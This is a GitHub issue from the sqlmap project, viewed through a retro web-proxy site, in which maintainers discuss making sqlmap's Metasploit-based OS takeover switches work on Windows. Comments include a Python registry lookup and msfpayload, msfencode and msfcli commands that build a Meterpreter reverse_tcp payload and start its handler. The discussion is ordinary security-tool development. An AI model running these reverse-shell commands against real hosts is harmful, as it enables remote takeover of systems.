GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — Out-of-band takeover features need to work also on Windows · Issue #28 · sqlmapproject/sqlmap

Out-of-band takeover features need to work also on Windows #28

New issue
Copy link
New issue
Copy link
Open
Open
Out-of-band takeover features need to work also on Windows#28
Copy link
Assignees
stamparm
Labels
bughightakeover
Milestone
1.1

Description

@bdamele
bdamele
opened on Jun 26, 2012
Issue body actions

Now that Metasploit properly runs on Windows too (without cygwin), we definitely need to support all functionalities on Windows too, if possible. Hence, --os-pwn/--os-smbrelay/--os-smb code need to be reviewed: metasploit.py, subprocessng.py and icmpsh*.py.

Activity

  1. ghost assigned
    stamparm
    on Jun 26, 2012
  2. stamparm commented on Jul 26, 2012

    @stamparm
    stamparm
    on Jul 26, 2012
    Member
    More actions

    Sample run:
    C:\metasploit>scripts\setenv.bat
    C:\metasploit\msf3>ruby msfpayload

  3. stamparm commented on Jul 26, 2012

    @stamparm
    stamparm
    on Jul 26, 2012
    Member
    More actions

    Sample generic one-liner run:

    <metasploit_install_dir>\scripts\setenv.bat & ruby <metasploit_install_dir>\msf3\msfpayload
    
  4. stamparm commented on Jul 26, 2012

    @stamparm
    stamparm
    on Jul 26, 2012
    Member
    More actions

    Installation directory registry location:

    "HKEY_LOCAL_MACHINE"\"SOFTWARE\Rapid7\Metasploit"\"Location"
    
  5. stamparm commented on Jul 26, 2012

    @stamparm
    stamparm
    on Jul 26, 2012
    Member
    More actions
    import subprocess
    
    IS_WIN = subprocess.mswindows
    
    def _(key, value):
        retVal = None
    
        if IS_WIN:
            try:
                from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
                _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
                _ = OpenKey(_, key)
                retval = QueryValueEx(_, value)[0]
            except:  # Pokemon Exception Handling
                pass
    
        return retVal
    
    installDir = _(r"SOFTWARE\Rapid7\Metasploit", "Location")
    
  6. stamparm commented on Jul 27, 2012

    @stamparm
    stamparm
    on Jul 27, 2012
    Member
    More actions

    Just for further reference for commands/forms which need to be supported:

    /usr/local/bin/msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=48426 LHOST=192.168.21.1 R | /usr/local/bin/msfencode -a x86 -e x86/alpha_mixed -o /home/stamparm/Dropbox/Work/sqlmap/output/192.168.21.129/tmpmcaro -t raw BufferRegister=EAX
    
    /usr/local/bin/msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=48426 LHOST=192.168.21.1 E
    
  7. stamparm
    added 2 commits that reference this issue on Jul 27, 2012

    Update for Issue #28

    6ffc566

    Another update for an Issue #28

    1669c6b
  8. bdamele commented on Dec 4, 2012

    @bdamele
    bdamele
    on Dec 4, 2012
    MemberAuthor
    More actions

    Consider to rewrite the Metasploit integration by interacting with the Metasploit RPC interface (msfrpcd) instead of wrapping the msfconsole/msfpayload/msfencode executables

  9. bdamele
    added a commit that references this issue on Jan 9, 2013

    first attempt to have --os-pwn and other takeover switches work acros…

    510ceb6
  10. stamparm
    added a commit that references this issue on Dec 29, 2013

    Patch for an Issue #28

    192a911
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

  • @stamparm
    stamparm

Labels

bughightakeover

Type

No type

Projects

No projects

    Milestone

    • 1.1

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

    You are visitor 01402503 — GeezerVison does not store the pages you look up.
    Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.